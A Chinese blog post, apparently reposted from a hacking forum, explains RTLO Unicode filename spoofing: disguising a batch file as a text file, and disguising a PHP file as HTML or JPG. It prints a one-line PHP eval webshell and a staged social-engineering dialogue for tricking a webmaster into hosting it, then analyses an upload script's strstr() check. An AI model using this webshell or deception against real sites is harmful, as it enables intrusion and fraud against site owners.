一、浅谈RTLO技术
我在FreeBuf上到了 [APT攻击]趋势科技捕获一次APT攻击活动 这篇文章,然后就自己去探探究竟,文章地址在下面
RLO控制符是Unicode控制符的一种,使得字符显示从右至左的顺序,攻击者可以利用RTLO技术来达到欺骗目标,从而使得可执行文件的运行。首先Windows系统在解析文件名时,当遇到unicode控制符时,会改变文件名的显示方式,利用这一特性,可以将exe、scr、com等可执行文件伪装成doc、jpg、txt、ppt等
例如:我首先创建一个bat文件,命名为txt.bat,里面内容写为ping baidu.com,下面就是重点了,我们进行重命名,重命名时在输入名字的文本框里点右键,选择“插入unicode控制字符”,然后就到了这个菜单栏,我们选择RLO,输入txt.bat
我们可以看到此时文件名已经显示为tab.txt
不过我们看到它是一个window批处理文件(bat),可以正常执行指令
当然文件的图标方面也是可以修改的,这样可以显得文件的确是一个txt文档,从而诱使目标打开,增加成功几率
二、HTML文件是否可以变为WEBSHELL
ps:按照作者的思路,不仅htnl文件可以进行欺骗,如jpg、png等其他文件都可以欺骗。
测试环境:Linux+Apache+Php
Linux+Nginx+Php
从上面2幅图可以看到HTML是没有办法充当一句话的,但是现在我们需要的就是把HTML变为PHP文件,这个可能实现吗?完全有可能!!!这里需要运用到RTLO技术,来进行欺骗,我个人认为目前这种方法适用于社会工程学攻击方面比较得体。
可以看到运用RTLO技术,我们已经把html.php变为了php.html,这样我们可以用于欺骗。如何欺骗?下面是虚构的一篇对话!当然方法不唯一!
===>攻击者事先把恶意代码放入HTML中(<?php @eval($_POST[‘sys’]);?>)
→攻击者:你是xxx的站长吗?我有一个小广告想挂在你的网站上面。
→站长:嗯,你好,我是xxx的站长。
→攻击者:站长,是这样的,我想先把一个HTML放进去,看看效果,如果效果不错,就可以付款,然后正式开始合作。
→站长:嗯,行,那你把HTML文件传过来吧。
→站长: www.xxx.com/php.html,你看看去吧,如果效果不错,我就去放置了。
其实这个时候php.html文件早以不存在了,而在linux下面它会这样显示?lmth.php,这样它就变为了一个可执行文件php,从而攻击者可以获取到webshell。
为了还原现场,我把已经运用RTLO技术的php.html上传到服务器,由于linux没有unicode控制符这么一说,所以linux会还原为lmth.php(这个为windows下运用RTLO输入时的场景)
攻击者从而就可以获取到webshell了,www.xxx.com/%3flmth.php。
ps:将通过RLO技术构造的文件上传到linux服务器时,文件名前面不一定只产生一个?号,我上传到ubuntu系统时就有两个??号。
构造方式很简单,如将php文件伪装成图片jpg,则新建一个php文件,输入php代码后保存。重命名,全选文件名后右键选择“插入Unicode控制字符”–>RLO,然后输入:gpj.php后即可伪装成php.jpg文件,然后上传到linux服务器上即可。当然,访问时?要进行URL编码,即%3f.
三、一次图片上传脚本的分析
下面分析一下,是否可以通过RTLO技术来突破strstr()函数对上传文件的限制。结果是:不能。
上传脚本如下:
<title>文件上传</title> <style type="text/css"> <!-- body,td,th { font-size: 12px; } --> </style></head> <body> <center> <label>请选择要上传的图片(图片格式为.jpg):</label> <form method="post" action="index.php" enctype="multipart/form-data"> <input type="hidden" name="action" value="upload" /> <input type="file" name="u_file"/> <input type="submit" value="上传" /> </form> <?php if($_POST[action] == "upload"){ //获取提值 $file_path = "./uploads\\"; //上传目录 $picture_name=$_FILES[u_file][name]; //获取图片名称 $picture_name=strstr($picture_name , "."); //通过strstr()函数截取点(.)以后的后缀 if($picture_name!= ".jpg"){ //截取到点(.)以后的后缀进行比较如果全等于(.jpg) 就执行else if的代码 echo "<script>alert('上传图片格式不正确,请重新上传'); window.location.href='index.php';</script>"; }else if($_FILES[u_file][tmp_name]){ move_uploaded_file($_FILES[u_file][tmp_name],$file_path.$_FILES[u_file][name]); //执行图片上传 echo "图片上传成功!"; } else echo "上传图片失败"; } ?> </center> </body> </html>
我们看到这里验证主要是用上了strstr这个函数,这个函数是匹配值,意思也就是匹配点(.)以后的值
然后用if语句来判断是否等于”.jpg”了,且即使你在burp里修改两个点(.)也是不通过的,png以及jpge这些都不可以,不等于就不执行上传了。这尼玛不是没辙了。
strstr() 函数搜索一个字符串在另一个字符串中的第一次出现。该函数返回字符串的其余部分(从匹配点)。如果未找到所搜索的字符串,则返回 false。
参考资料:
1、转自:http://sb.f4ck.org/thread-18850-1-1.html
2、转自:http://sb.f4ck.org/thread-19589-1-1.html
3、转自:http://sb.f4ck.org/thread-19916-1-1.html